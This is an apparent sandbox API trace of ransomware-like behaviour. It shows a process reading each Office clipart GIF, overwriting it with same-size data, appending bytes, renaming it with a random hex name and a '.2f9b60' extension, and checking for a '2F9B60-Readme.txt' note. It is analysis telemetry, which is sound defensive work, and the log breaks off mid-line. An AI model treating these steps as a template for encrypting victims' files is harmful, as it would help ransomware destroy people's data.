sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="83") returned 2 [0106.441] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="bd") returned 2 [0106.441] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="9e") returned 2 [0106.441] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="ff") returned 2 [0106.441] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="ed") returned 2 [0106.441] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="fa") returned 2 [0106.441] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="10") returned 2 [0106.441] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="36") returned 2 [0106.441] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="91") returned 2 [0106.441] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="ed") returned 2 [0106.441] RtlInitAnsiString (in: DestinationString=0x2abcf808, SourceString="3706f547584d88e5684c638ad51783bd9effedfa103691ed" | out: DestinationString="3706f547584d88e5684c638ad51783bd9effedfa103691ed") [0106.441] RtlAnsiStringToUnicodeString (in: DestinationString=0x2abcf7d8, SourceString="3706f547584d88e5684c638ad51783bd9effedfa103691ed", AllocateDestinationString=1 | out: DestinationString="3706f547584d88e5684c638ad51783bd9effedfa103691ed") returned 0x0 [0106.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced56a0 [0106.441] RtlFreeAnsiString (AnsiString="3") [0106.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0106.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85e0) returned 1 [0106.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83a0) returned 1 [0106.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced82b0) returned 1 [0106.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x204ffc30 [0106.442] wcscat (in: _Dest=0x204ffc30, _Source="3706f547584d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3706f547584d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3706f547584d" [0106.442] wcscat (in: _Dest=0x204ffc30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3706f547584d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3706f547584d.2f9b60" [0106.442] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3706f547584d.2f9b60", NtPathName=0x2abcf7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\3706f547584d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x108140 [0106.442] NtSetInformationFile (FileHandle=0x15bc, IoStatusBlock=0x2abcf850, FileInformation=0x108140, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108140) returned 1 [0109.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47be0) returned 1 [0109.688] NtQueryInformationFile (in: FileHandle=0x15bc, IoStatusBlock=0x2abcf818, FileInformation=0x2abcf828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2abcf818, FileInformation=0x2abcf828) returned 0x0 [0109.688] NtSetInformationFile (FileHandle=0x15bc, IoStatusBlock=0x2abcf818, FileInformation=0x2abcf828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffc30) returned 1 [0109.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced56a0) returned 1 [0109.717] FlushFileBuffers (hFile=0x15bc) returned 1 [0109.734] CloseHandle (hObject=0x15bc) returned 1 [0109.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x204ffb90 [0109.737] wcscpy (in: _Dest=0x204ffb90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.737] wcscat (in: _Dest=0x204ffb90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffb90) returned 1 [0109.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4aa80) returned 1 Thread: id = 667 os_tid = 0x1150 [0096.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0107.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF", dwFileAttributes=0x20) returned 1 [0108.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c4 [0108.862] GetFileSizeEx (in: hFile=0x14c4, lpFileSize=0x2aabfe40 | out: lpFileSize=0x2aabfe40*=3378) returned 1 [0108.862] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0xd2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.862] ReadFile (in: hFile=0x14c4, lpBuffer=0x2aabfdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2aabfe08, lpOverlapped=0x0 | out: lpBuffer=0x2aabfdc0*, lpNumberOfBytesRead=0x2aabfe08*=0x4, lpOverlapped=0x0) returned 1 [0108.864] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0108.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b0e0 [0108.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0108.865] NtQuerySystemTime (in: CurrentTime=0x2aabfd00 | out: CurrentTime=0x2aabfd00*=132462177143554000) returned 0x0 [0108.865] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x6ca414c4 [0108.865] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x36cedb94 [0108.865] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x3b2929cb [0108.865] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x2c451a66 [0108.865] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x31f72e90 [0108.865] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x571b0f75 [0108.865] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x10ddc30d [0108.865] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x5e66f87e [0108.865] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x194056de [0108.865] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x41c2eb4d [0108.865] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x6083c9ac [0108.865] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x1d4b9679 [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x22efe2a9 [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x662731ec [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x2679f041 [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x6663ea81 [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x6a93c46a [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x512a971f [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x53fc487f [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x7616686a [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x4b2cd608 [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x206a9ed2 [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x4d932b88 [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x9ad1644 [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x36bbd19e [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x7b7085e0 [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x52c557a0 [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x48c27897 [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x570968b2 [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x7debebb9 [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x1e4d630e [0108.866] RtlRandomEx (in: Seed=0x2aabfcf0 | out: Seed=0x2aabfcf0) returned 0x288acaa5 [0108.878] ReadFile (in: hFile=0x14c4, lpBuffer=0x41e75950, nNumberOfBytesToRead=0xd32, lpNumberOfBytesRead=0x2aabfcf0, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesRead=0x2aabfcf0*=0xd32, lpOverlapped=0x0) returned 1 [0108.878] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.878] WriteFile (in: hFile=0x14c4, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0xd32, lpNumberOfBytesWritten=0x2aabfcf4, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2aabfcf4*=0xd32, lpOverlapped=0x0) returned 1 [0108.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b050 [0108.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0108.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1d0) returned 1 [0108.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0108.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0108.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82b1d0 [0108.881] SetFilePointerEx (in: hFile=0x14c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.881] WriteFile (in: hFile=0x14c4, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2aabfe10, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2aabfe10*=0x10a, lpOverlapped=0x0) returned 1 [0108.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0108.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0108.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b080) returned 1 [0108.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0108.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ab40 [0108.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ab40) returned 1 [0108.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0108.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.884] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="86") returned 2 [0108.884] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="e6") returned 2 [0108.884] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="ea") returned 2 [0108.884] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="7e") returned 2 [0108.884] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="e8") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="3b") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="44") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="ee") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="e5") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="63") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="3b") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="2e") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="68") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="23") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="1e") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="18") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="83") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="73") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="43") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="a0") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="6b") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="f3") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="43") returned 2 [0108.885] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="c9") returned 2 [0108.885] RtlInitAnsiString (in: DestinationString=0x2aabfe88, SourceString="86e6ea7ee83b44eee5633b2e68231e18837343a06bf343c9" | out: DestinationString="86e6ea7ee83b44eee5633b2e68231e18837343a06bf343c9") [0108.885] RtlAnsiStringToUnicodeString (in: DestinationString=0x2aabfe58, SourceString="86e6ea7ee83b44eee5633b2e68231e18837343a06bf343c9", AllocateDestinationString=1 | out: DestinationString="86e6ea7ee83b44eee5633b2e68231e18837343a06bf343c9") returned 0x0 [0108.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced95c0 [0108.886] wcscat (in: _Dest=0x20501210, _Source="86e6ea7ee83b" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\86e6ea7ee83b") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\86e6ea7ee83b" [0108.886] wcscat (in: _Dest=0x20501210, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\86e6ea7ee83b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\86e6ea7ee83b.2f9b60" [0108.886] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\86e6ea7ee83b.2f9b60", NtPathName=0x2aabfe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\86e6ea7ee83b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42060d70 [0108.886] NtSetInformationFile (FileHandle=0x14c4, IoStatusBlock=0x2aabfed0, FileInformation=0x42060d70, Length=0xac, FileInformationClass=0xa) returned 0x0 [0110.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060d70) returned 1 [0110.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293300) returned 1 [0110.124] NtQueryInformationFile (in: FileHandle=0x14c4, IoStatusBlock=0x2aabfe98, FileInformation=0x2aabfea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2aabfe98, FileInformation=0x2aabfea8) returned 0x0 [0110.124] NtSetInformationFile (FileHandle=0x14c4, IoStatusBlock=0x2aabfe98, FileInformation=0x2aabfea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501210) returned 1 [0110.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced95c0) returned 1 [0110.126] FlushFileBuffers (hFile=0x14c4) returned 1 [0110.136] CloseHandle (hObject=0x14c4) returned 1 [0110.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20501210 [0110.137] wcscpy (in: _Dest=0x20501210, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0110.137] wcscat (in: _Dest=0x20501210, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0110.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0110.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501210) returned 1 [0110.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ab10) returned 1 Thread: id = 668 os_tid = 0x1154 [0096.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0107.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF", dwFileAttributes=0x20) returned 1 [0108.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1498 [0108.793] GetFileSizeEx (in: hFile=0x1498, lpFileSize=0x2a9dfb40 | out: lpFileSize=0x2a9dfb40*=3120) returned 1 [0108.793] SetFilePointerEx (in: hFile=0x1498, liDistanceToMove=0xc2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.793] ReadFile (in: hFile=0x1498, lpBuffer=0x2a9dfac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a9dfb08, lpOverlapped=0x0 | out: lpBuffer=0x2a9dfac0*, lpNumberOfBytesRead=0x2a9dfb08*=0x4, lpOverlapped=0x0) returned 1 [0108.798] SetFilePointerEx (in: hFile=0x1498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600c0 [0108.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0108.798] NtQuerySystemTime (in: CurrentTime=0x2a9dfa00 | out: CurrentTime=0x2a9dfa00*=132462177142930000) returned 0x0 [0108.798] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x54023074 [0108.798] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x10dc7933 [0108.798] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x67870c97 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x5b81e6ed [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x8c16711 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x3f103224 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x8293fee [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x270c6ae7 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x2c7cc4e8 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x1f878723 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x6590e144 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x46d7ee46 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x51d46efa [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x368d5a7 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x5bd028ed [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x263dc024 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x1d26af76 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x27502c01 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x3c5ce7ac [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x20f844ec [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x6aacafaa [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x6ad73db4 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x38811d17 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x25f96601 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x3b1077a7 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x1e9455de [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x550f0cf5 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x48787f49 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x4e9e67b1 [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x24bee6da [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x353463ed [0108.799] RtlRandomEx (in: Seed=0x2a9df9f0 | out: Seed=0x2a9df9f0) returned 0x1674d043 [0108.812] ReadFile (in: hFile=0x1498, lpBuffer=0x41e75950, nNumberOfBytesToRead=0xc30, lpNumberOfBytesRead=0x2a9df9f0, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesRead=0x2a9df9f0*=0xc30, lpOverlapped=0x0) returned 1 [0108.812] SetFilePointerEx (in: hFile=0x1498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.812] WriteFile (in: hFile=0x1498, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2a9df9f4, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2a9df9f4*=0xc30, lpOverlapped=0x0) returned 1 [0108.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0108.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0108.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0108.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0108.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0108.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 